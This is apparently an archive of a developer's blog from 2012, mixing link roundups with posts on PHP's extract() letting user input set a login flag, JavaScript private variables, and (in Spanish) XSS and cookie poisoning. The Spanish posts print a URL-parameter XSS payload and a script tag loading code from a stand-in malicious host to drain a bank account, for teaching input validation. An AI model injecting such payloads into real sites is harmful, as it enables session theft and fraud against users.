Links of the day 12/12/12

Some interesting links today:

Javascript:
http://soft.vub.ac.be/~tvcutsem/invokedynamic/presentations/Tradeoffs_WGLD2012_Austin.pdf – Js Proxies (PDF)

Microsoft:
http://arstechnica.com/gadgets/2012/12/in-bringing-office-to-ios-microsoft-is-playing-a-dangerous-game/ – Is MS making a mistake by bringing Office into iOS?

Security:
http://seclists.org/bugtraq/2012/Dec/81 – IE vulnerability allows an attacker to track your mouse movements.
http://arstechnica.com/security/2012/12/internet-explorer-vulnerability-lets-hackers-track-your-mouse-movements/ – More on the IE vulnerability.
http://arstechnica.com/security/2012/12/new-mac-trojan-tricks-users-into-paying-pricey-cell-phone-fees/ – A trojan for the mac that could trick you into paying pricey cellphone fees.

Web development:
http://laurakalbag.com/display-none/ – Don’t hide content on mobile, and other advices.

VIM:
http://www.youtube.com/watch?v=Umb59mMvCxA – Nice VIM multi-cursor show-off.

PC:
http://arstechnica.com/gadgets/2012/12/299-version-of-acers-c7-chromebook-kind-of-defeats-the-purpose/ – Why you should by the cheap version of acer’s C7.

Interior Design:
http://www.home-designing.com/2012/12/japanese-style-minimalist-inspiration – Do it, like the Japanese do.

Other:
http://www.stumbleupon.com/su/1xcpkG/www.elpesonuestro.com/2012/01/20/pobres-de-nosotros-los-mexicanos/ – About retirement founds in Mexico. (Spanish)
http://arstechnica.com/business/2012/12/freedompop-launches-free-home-wireless-to-compete-with-low-end-dsl/ – free home wireless by freedompop
http://arstechnica.com/tech-policy/2012/12/dotcom-case-becoming-one-of-the-most-expensive-in-new-zealand-history/ – Dotcom is costing New Zealand Millions.
http://arstechnica.com/business/2012/12/dish-gets-fcc-approval-to-build-next-generation-lte-network/ – Dish to build next generation LTE network by 2016

Advertisements

Links of the day 12/11/2012

Yet another list of links. The last list is also marked as 12/11/2012. When I did it it was past 12, and I forgot to subtract 1 from the date. I hope it is not too confusing.

HTML 5
http://davidwalsh.name/pointer-media-query – Quick intro to the pointer media query.

Security:
http://arstechnica.com/security/2012/12/dexter-malware-steals-credit-card-data-from-point-of-sale-terminals/ – The alert word for a malware that steals credit card data from point of sale terminals.

WordPress:
http://codex.wordpress.org/Version_3.5 – Version 3.5 is out!

Javascript:
http://rmurphey.com/blog/2012/12/10/js-conditionals/ – Nothing new about if statements, but still worth reading for a good memory refresh.

Github:
https://github.com/blog/1302-goodbye-uploads – No more uploads on github.

Other:
http://arstechnica.com/business/2012/12/netflix-says-google-fiber-is-most-consistently-fast-isp-in-america/ – Netflix says google fiber is the fastest ISP in America. Lucky those who have it.
http://alt1040.com/2012/12/google-chromebooks-sector-educativo – New $99 google laptops. (Spanish)
http://alt1040.com/2012/12/darpa-espuma-hemorragias – New foam technology to stop internal bleeding on wounded soldiers. (Spanish)

Links of the Day – 12/06/2012

Today I have a few links to share with your. Some of them quite interesting. They were my reading for the last few days, and gathered through twitter mainly, and some through hacker news. A few of them are just links that were presented on some of the reads that I share here. So if, like me, you tend to follow links on the articles you read, some of these links might be repeated by the ones present on some articles to which these links point.

Server-related:

https://en.wikipedia.org/wiki/Nginx – Nginx article on wikipedia
http://www.meteor.com/ – The official site of meteor framework.
http://gigaom.com/cloud/web-developers-watch-out-for-meteor/ – If you want to know what meteor is, read this article.

Social Media

http://readwrite.com/2012/11/29/3-things-you-cant-do-on-twitter – Mildly interesting article about 3 things you should not do on twitter.

Events

http://fluentconf.com/fluent2013/public/content/about – The about page for the Fluent 2013. Be sure to check the Fluent 2012 videos.

Optimization

http://my.opera.com/ODIN/blog/2009/10/12/how-media-queries-allow-you-to-optimize-svg-icons-for-several-sizes – SVG optimization via media queries. (From 2009)
https://www.facebook.com/notes/facebook-engineering/speeding-up-php-based-development-with-hiphop-vm/10151170460698920 – Facebook talks about its new Hip Hop VM.

Security

http://www.codetraining.com.mx/article/tutorial_introduccion_al_cross-site_scripting_xss.html – Very short introduction to XSS. If you know even a little about XSS, this won’t add anything new. (Spanish)
https://github.com/kitcambridge/evil.js/blob/gh-pages/evil.js – The Evil js github page.
http://benvinegar.github.com/seamless-talk/#/ – Slides for a talk about security through iFrames.
http://engineering.versal.com/frameworks/2012/11/30/Sandbox-js/ – Related to the previous link. Sandbox js is a library to implement security through iFrames

Python

http://michael.merickel.org/2011/6/21/tictactoe-and-long-polling-with-pyramid/ – Long Polling in Python with Pyramid. Interesting implementation of long polling demonstrated with a tic-tac-toe game. Code available for download!

Nodejs

http://blog.mixu.net/2011/02/01/understanding-the-node-js-event-loop/ – The event loop in nodejs
http://stackoverflow.com/questions/5062614/how-to-decide-when-to-use-nodejs – Knowing when to use Nodejs

Other

http://www.ted.com/talks/paolo_cardini_forget_multitasking_try_monotasking.html – An interesting talk about monotasking
http://techcrunch.com/2012/11/30/instagram-co-founder-mike-kriegers-8-principles-for-building-products-people-want/ – Interesting read if you are an entrepreneur.
http://tympanus.net/Development/SimpleDropDownEffects/index.html – Interesting Menu effects. Although I hope they don’t become the new trend, just like some other effects like this one have. I think they are nice because they are unique, but once you start seeing them everywhere, the novelty wears out, and only the annoyance stays.
http://en.wikipedia.org/wiki/Push_technology – Push technology on Wikipedia.
https://github.com/facebook – The Facebook github repository.

Links Of the Day – 11/24/2012

As I stated on my previous post, I’ve been almost exclusively reading the AIR documentation, but I do have a few links to share with you today:

http://developer.yahoo.com/blogs/ydn/posts/2012/11/android-security-for-the-novice/Via Twitter I got to this very basic article about Android security.

http://www.muyinteresante.es/retrato-robot-de-un-supermillonario?utm_source=twitter&utm_medium=socialoomph&utm_campaign=muy-interesante-twitter – Also via Twitter, I found this mildly interesting article (Spanish) about the general profile of most Millionaires in the U.S.

http://www.motherjones.com/environment/2012/11/rare-earth-elements-iphone-malaysia?page=3 – Via Hacker News I got to this interesting article. I won’t spoil it for you, but I must say that you ought to read it, just to increase your general knowledge about the gadgets you use.

Shoot Yourself on the Foot by Using PHP’s Extract

PHP’s extract function is one of those function that we use mostly because we are lazy. It makes it really easy to access associative arrays’ members without having to write too much. For example, imagine you have to process a form submitted by the user that has 50 different fields. You would have to do something like this in order to access the field values:


$name = $_POST['name'];
$meail = $_POST['email'];
$company = $_POST['company'];
.....

You would have to write 50 lines that look like those ones above to access every field value in the submitted form. I don’t think I need to mention what a pain that is. In fact, it is such a burden that on a lazy evening we might just write something like this:


extract($_POST);

Which is a really nice way to shoot yourself on the foot.

The problem with that is that it may end up overwriting variables defined previously. I guess you could argue that the first piece of code in this post does the same thing. For example if $name is already defined, it would be overwritten, which is certainly true. However, you are aware of that, and even if you are not, you will notice it a some point. The problem with extract is that another variable could be inserted and you would never know it. Lets see an example of what I mean:

Yesterday, while working on a project, I realized the security risks of extract. I have been working on this project for the last few days, and I was using extract in a few places on the code, but I was feeling uneasy about that. I thought there might be security implications with extract. In my experience, any function that makes handling unsafe data easy has some security implications. I decided to look into that, and sure enough there are security risks if extract is used carelessly, and just because you are too lazy to do things the long, usually right, way.

The applications that I’m working on has members, so we need a way to log them in and we do it through a form. This for is posted to a file on the application’s engine that takes care of processing it and determining whether the user should be logged in or not. For testing purposes I was using a variable a flag for users being logged in or not. Usually you would use sessions to do that, but for testing purposes a variable was good enough. Lets imagine the code looked like this:


$logged_in;

if(logged_in){
   //render screen for logged in users
}else{
   //render log in form
}

As I mentioned before, the log in form posts to a file that takes care of the log in logic. Then, if something goes wrong, it redirects to the log in page, and sends the submitted data using GET. The log in page then checks if that data is been submitted via GET, and if so, it uses it to display the submitted values on the form so the user doesn’t have to write all his info again. With that in mind, lets modify the code a bit:


$logged_in;

if($_GET && isset($_GET['data'])){
    userialize($_GET['data']);
    extract($data);//This makes getting the data information easy.
}

if(logged_in){
   //render screen for logged in users
}else{
   //render log in form
}

You can see where we are using extract. It will create variables based on the indexes of the data array. Now, what happens if someone modifies that data array? Suppose the array looks like this:


$data = array('name'=>'John Doe', 'email'=>'john@doe.com');

When we use extract this would create two variables. This is what we want, so that instead of doing $data['name'] we can access the value directly by doing $name. But if someone modifies the array to something like this:


$data = array('name'=>'John Doe', 'email'=>'john@doe.com', 'logged_in'=>true);

Then we have problems. This will create a logged_in variable with true as its value. This would overwrite whatever value is set on our $logged_in variable, and let the user log in without the right credentials. Now, remember that the code above is all just for the sake of this example. I don’t think anyone who knows what they are doing would write code like that. However, it serves the purpose of showing how dangerous it can be to use extract carelessly.

The extract function can be called with parameter that specify how it should handled variable collisions. But in my opinion, you should just avoid using it when processing user submitted data or any other kind of unsafe data.

I recommend reading the extract documentation if you plan on using it.

A Bit About Privacy on Javascript. Or, Take a Look, You Can’t See Me

So, it seems my last “talk” on nested functions left a big hole. I touched a little about privacy and showed a piece code that partially implements private variables. This code turned out to have a big hole in it. A security breach, if you’d like to call it that way. The code I showed was purely for demonstration purposes and it was not meant to be a full implementation of private variables. That, plus the fact that I don’t work with so-called data types lead to a poor implementation of a powerful concept.

Lets begin. I’m going to show the code first, because that is what you people like right? Then you go ahead and find holes in it. Then come back here and read the explanation of what is going on and why it is good. If you find holes in the implementation of private variables, let us know in the comments.

function foo(param1){
     this.constructor(param1);
 }
 foo.prototype = function(){
     var private = {};
     var i = 0;
     function c(p){
         var t = new Date().getTime() + i++;
         private[t] = p;
         this.constructor = null;
         this.getI = function(){
             return t;
         };
     }
     function b(){
         return private[this.getI()];
     }
     return {
         constructor : c,
         bar : b,
     }
 }();
 var c = new foo("private, I am");
 var d = new foo("or not so much.");
 alert (c.bar());

So, this is almost the same code as last time, but with a few minor changes and the introduction of one of those evil functions that get created everytime an outer function is called. OMG, I’m the worst programmer (lol).

First we changed private to an object. Yes, an object within an object. Objection?(If you know memes, you’ll get the joke). We need private to be an object to avoid the problem we had that caused the “private” variable to be modified by another object. Then we have our c function. Everything happens inside c. First, we create a variable t that holds the value returned by getTime, and we add i to it. This is in case two objects are created at the same time.

Next, we save our private value inside private with its reference set to t. Unset the constructor, and create a new method for the object on the fly. This is the part where people start dying because I created a function that gets created again every time the outer function executes.

So, why is Buzu teaching bad things? Short answer is I’m a rebel. Long answer is, it turns out this functions are not bad if used properly. There is nothing bad with a little function like this, and in fact, it makes a lot of sense. This function belongs to the object itself, not to the prototype. Besides, look at it, it’s so little and cute. How bad can it be?

Anyway, I hope you are still with me. The newly created method returns data that is not useful to an attacker. More over, if an attacker wanted to access the private property of another object. He would have to know when that object was created, and what the value of i was at that time, so it’s pretty hard. Now, even if an attacker guessed such value, how is he going to access private? it is inside a function that returned already. Now, how is that different from this:

function Foo(paramOne) {
    var thisIsPrivate = paramOne;

    this.bar = function() {
        return thisIsPrivate;
    };
}

var foo = new Foo("Hello, Privacy!");
alert(foo.bar()); // alerts "Hello, Privacy!"

Well, the short answer is, it is hella lot different. Long answer has to do with how many functions you have to create on each method. With the method I suggested, you only need to create one function no matter how many private variables you have. With this method, you need to create a function per private variable. That IS bad.

And, again, let me remind you that it is foolish to try to suggest privacy. If you want something to be private, make it so. Be proactive on your defence.

Now, I don’t usually work with data types, but I know them. They become useful if you find the need to extend objects, but I rarely find that need. In fact, most things can be done with pure objects. And with pure objects privacy can be achieved without functions that get created every time another function executes. Life is good when you work with pure objects. I would much rather have the ability to clone objects than to extend data types.

Seguridad en Javascript Parte 2

Hace algunos días hablamos sobre seguridad en javascript con ejemplo de XSS. Hoy ha llegado el momento de retomar la platica y empezar a analizar algunos otros aspectos de seguridad en javascript. Vamos a continuar con nuestro ejemplo y los chicos de programadoresverdes.com

Supongamos que programadoresverdes.com ha notado su error, (estos chicos visitan este blog seguido) entonces han decidio hacer algo al respecto. Comienzan a buscar en google y se dan cuenta que una forma más efectiva de hacer el truqillo del saludo personalizado es almacenando el nombre del visitante en una cookie. Esta mejora tiene la ventaja de qe la cookie se puede guardar en el cliente por lo que el saludo personalizado duraría más que una sesión. No vamos a discutir el código para el almacenamiento de la cookie, ya que nuestro objetivo con esta serie de artículos es simplemente resaltar algunas de las fallas de seguridad que se pueden encontrar los desarrolladores javascript.

El problema con almacenar el nombre en una cookie, es que las cookies son fácilmente editadas. En la actualidad no es necesario siquiera saber en donde se almacenan las cookies ya que con el simple hecho de usar firefox y una extensión como web developer tools puedes editar las cookies, ya que esta extensión te ofrece la posibilidad de hacerlo directamente desde el navegador.

Igual que con el ejemplo de XSS, se puede inyectar código en la cookie de modo que sea ejecutado. Nuevamente recordamos que todo dato que no sea generado estrictamente por la aplicación debe ser validado sin importar su procedencia.

Esta técnica de ataque es especialmente útil en sitios públicos como café internet, librerías, escuelas y otros lugares donde se permita el acceso a internet a diferentes usuarios desde la misma máquina.

Las cookies no son el único sistema de almacenamiento del lado del cliente que puede ser contaminado con la intención de atacar un sitio o un usuario. Otros sistemas de almacenamiento como los ofrecidos por firefox o google gears pueden de igual forma ser contaminados. Por tal razón, no está de más repetir la recomendación: Chequea cada pieza de información que entre a tu aplicación sin importar su procedencia.

Veamos un ejemplo del tipo de daño que puede causarse con este ataque.

Supongamos que usuario A visita la página de su banco en un sitio público. Su banco almacena cookies en el navegador para después recuperar la información almacenada en ellas y ponerla en la pantalla. Probablemente parte de esa información es la última fecha de visita. Entonces cuando usuario A vuelve a entrar a la página del banco, la página lee la cookie almacenada, toma su valor y muestra un mensaje que dice “tu última visita fue: febrero 1 de 2010″. Ahora, usuario B ha notado que el banco falla en hacer un chequeo del dato recuperado por la cookie, por lo que espera a que usuario A desocupe la máquina y la toma para su uso, o mejor dicho, su abuso.

Usuario B va a las cookies y busca la que guarda la información de la última fecha de uso. Cuando la encuentra la edita agregando lo siguiente:

<script type=”text/javascript” src=”http://www.sitiomalvado.com/usuariob.js”></script&gt;

Como solo puedes guardar cierta información en una cookie, usuario B prefiere simplemente usar un tag script que llama a un archivo desde un servidor remoto. Este archivo es el que hará todo el trabajo sucio.

A partir de aquí todo es sencillo para usuario B ya que basta con un document.write() en el archivo llamado desde el servidor remoto para insertar código ajax el cual haga cosas como transferir dinero de la cuenta de usuario A a la de usuario B. No habrá forma de que usuario A reclame por esas transacciones ya que lo que pasará es lo siguiente:

Usuario B solo ha estado unos minutos en la computadora que usuario A uso para chequear su cuenta bancaria. Para no parecer sospechoso, permanece un poco más de tiempo haciendo cosas comunes como chequear su correo, ver un par de videos y luego, cuando calcula que ya ha estado suficiente tiempo para no levantar sospechas, se va. Al día siguiente usuario A vuelve para chequear su cuenta bancaria (Esta esperando confirmación de un pago o algo por el estilo). Ingresa en su cuenta y su banco busca la cookie que le dice cuando fue la última vez que uso el sitio. Lee la cookie y con ella el código para el ataque. El banco ha registrado que usuario A esta loggeado y todo el traspaso de fondos pasa mientras que usuario A está loggeado, por lo que desde el punto de vista del banco, usuario A ha hecho todos los movimientos que en realidad han sido hechos por un script.

Cuando usuario A deja el sitio, su banco vuelve a registrar esta fecha como la última fecha en que usuario A visitó el sitio, reescribiendo así la cookie anterior y borrando todo rastro del ataque hecho por usuario B.

Al final del día usuario B ha ganado todo el dinero de usuario A, usuario A se ha quedado sin dinero en el banco, y el banco no puede tomar una queja por que todo ha ocurrido mientras usuario A estaba loggeado. Para usuario A será muy difícil demostrar que no fue él quien hizo los movimientos ya que como la cookie fue reemplazada, no hay rastro de la contaminación hecha por usuario B.

Ahora, hay muchos factores que tiene que estar en sincronía para que algo como esto pueda pasar. Sin embargo, la intención es solo demostrar el tipo de ataques que se pueden lograr con tan solo contaminar la información en una cookie cuando el sitio que recibe dicha información no realiza un chequeo para asegurar que no haya nada malicioso en ella. También, a través de este ejemplo demostramos que por seguridad se debe guardar la menor cantidad de información posible del lado del cliente, donde es accesible y vulnerable. Un No No, es guardar información confidencial como nombres de usuario y contraseñas.

Verificar los datos que recibimos por parte del usuario, del cliente o de otros servicios (hablaremos de esto en el futuro) no hará nuestras aplicaciones 100% seguras, pero si nos protegerá contra la mayoría de los ataques comunes en la web.

javascript seguro. -parte 1

En diciembre del año pasado decidí dejar de trabajar en mi antiguo empleo para convertirme en freelance. Debo decir que la verdad ha sido un poco difícil ya que aun que tengo la experiencia que muchos que agarran trabajos no tienen, me hace falta el portafolio que respalde esa experiencia. Sin embargo, no me puedo quejar; he obtenido algunos proyectos que me han permitido salir adelante y en el camino he ganado a más de un amigo. Una de las cosas que no me faltan cuando envío un presupuesto, es mencionar que soy un desarrollador enfocado en optimización y seguridad por lo que he decidido escribir un poco sobre seguridad aquí en el blog.

Para empezar con esta serie de artículos voy a tratar uno de los temas más comunes en el ataque a la seguridad, o falta de esta, de un sitio. Para ello voy a usar un ejemplo. Supongamos que el sitio programadoresverdes.com ha sido desarrollado por unos chicos que se han creído que por saber unas cuantas etiquetas de html y como encontrar trucos cool de javascript en la web ya son programadores web. Como estos chicos quieren demostrar sus habilidades de programadores han puesto un toque ‘personal’ a su sitio de modo que cuando ingresas a programadoresverdes.com te sale una ventana pidiendo que introduzcas tu nombre. Tu introduces tu nombre y le das a aceptar. El sitio entonces, ‘se aprende’ tu nombre y cada que cambias de pagina en la cabecera te aparece un mensajito que dice ‘Gracias por visitar el sitio nombre‘, donde nombre es tu nombre. Para hacer esto, nuestros amigos se valen de técnicas poco seguras. Para pasar el nombre de una página a otra usan el variables que pasan por get, las cuales después toman en la siguiente página para poder imprimirlas en la cabecera del sitio. Cada enlace se ve de esta forma:

http://www.programadoresverdes.com/portafolio.html?nombre=mrB

Por supuesto que esto llama nuestra atención desde un inicio y empezamos a especular sobre lo que podría pasar si le movemos por aquí y por aya. Lo primero que hacemos es modificar el valor de nombre y ver que pasa.

http://www.programadoresverdes.com/portafolio.html?nombre=srB

Accedemos a esa dirección diréctamente y vemos que efectivamente en lugar de imprimirse mrB como nuestro nombre, se imprime srB. Ahora empezamos a probar un poco más y volvemos a editar la url.

http://www.programadoresverdes.com/portafolio.html?nombre=<script>alert(‘XSS&#8217;);</script>

Navegamos hacia esa dirección y Oh YES!!!, obtenemos una alerta que dice XSS. Pero, que fue lo que pasó?

Para ver un poco el fallo de nuestros amigos veamos un poco como es que este sitio hipotético ha sido montado.

Primero, al cargar la primera página nos sale un prompt, desde el cual, por cierto, podemos hacer el ataque. Este prompt nos pregunta por nuestro nombre para después poder almacenarlo en una variable y agregarlo a cada enlace. Cuando navegamos a otra página dentro de programadoresverdes.com, esa otra página recoge la variable nombre de url y la inyecta en el html tal como viene. Para eso pueden usar un simple document.write

var obtNombre = function(){
//code para obtener el nombre de la url
//….
return nombre;
}

document.write(obtNombre());

Como puedes ver, el código empleado simplemente recoge la variable nombre de la url, lo cual puede hacerse de diferentes maneras, y lo inserta tal como viene en el documento. Aquí es donde podemos ver el gran error de los chicos. Como no hay nada que valide o que haga un chequeo del dato que se está recibiendo, podemos simplemente pasar cualquier cosa y el código la va a inyectar en la página, es por eso que nuestro alert() funciona ya que al ser inyectado, es interpretado como otra pieza de código más.

Ahora, cual es realmente el problema, preguntarán algunos. Que daño puede hacer una alerta? La verdad es que no mucho. Sin embargo, el problema radica en el hecho de que existe la posibilidad de inyectar código dentro de la página. Algo que muchas veces pensamos es, por que quería yo modificar una url para inyectar code en un sitio que estoy visitando? La verdad es que no se por que querrías hacer eso. Lo que sí se, es que no es lo que chico que sombrero negro haría. Nuestro amigo (de verdad???) de sombrero negro haría es por ejemplo mandar un email en el que de una u otra forma intentara convencerte que visitaras el sitio programadoresverdes.com. El enlace por supuesto que ha sido modificado de modo que inyecte código dentro del sitio para atacar a la persona que está visitando el sitio, es decir, la persona que recibió el mail y que siguió el enlace. El código inyectado puede hacer infinidad de cosas dependiendo el sitio que está siendo usado para hacer el ataque.

Imagina que en lugar de ser programadoresverdes.com el sitio que tiene la vulnerabilidad, es banco.com. Entonces el panorama se torna completamente diferente ya que en banco.com el atacante puede hacer mucho daño. Otro caso puede ser que tu servicio de correo fuera el vulnerable, entonces el atacante podría robar desde tu correo hasta tus cookies para poder después entrar al sitio como si fueras tu.

A este tipo de ataque se le conoce como Corss Site Scripting, y dejar vulnerabilidades abiertas para este tipo de ataques es muy fácil, especialmente si no se sabe lo que se hace al desarrollar un sitio web. Los medios más comunes para este tipo de ataque son campos de texto o áreas de texto ya que muchas veces esto sirven para postear mensajes o comentarios. Si la información introducida por el usuario nos propiamente chequeada y validada, lo más probable es que se sea víctima de este tipo de ataques. Por ejemplo, alguien puede dejar un comentario como este:

Hola, está bueno el artículo. <script>//algo de js malicioso…</script>

Ese comentario se guarda en una base de datos y cuando alguien más visita la página, se cargan los comentarios y entre ellos el comentario que lleva el ataque. De esta manera, nuestro amigo de sombrero negro ha logrado atacar a alguien más.

En un futuro artículo estaré hablando más sobre ataques y como defenderse de ellos. Por ahora los dejo con la regla de oro en seguridad: Todo contenido provisto por el usuario debe ser propiamente chequeado y validado. Como dicen en inglés, trust the user, but not the input.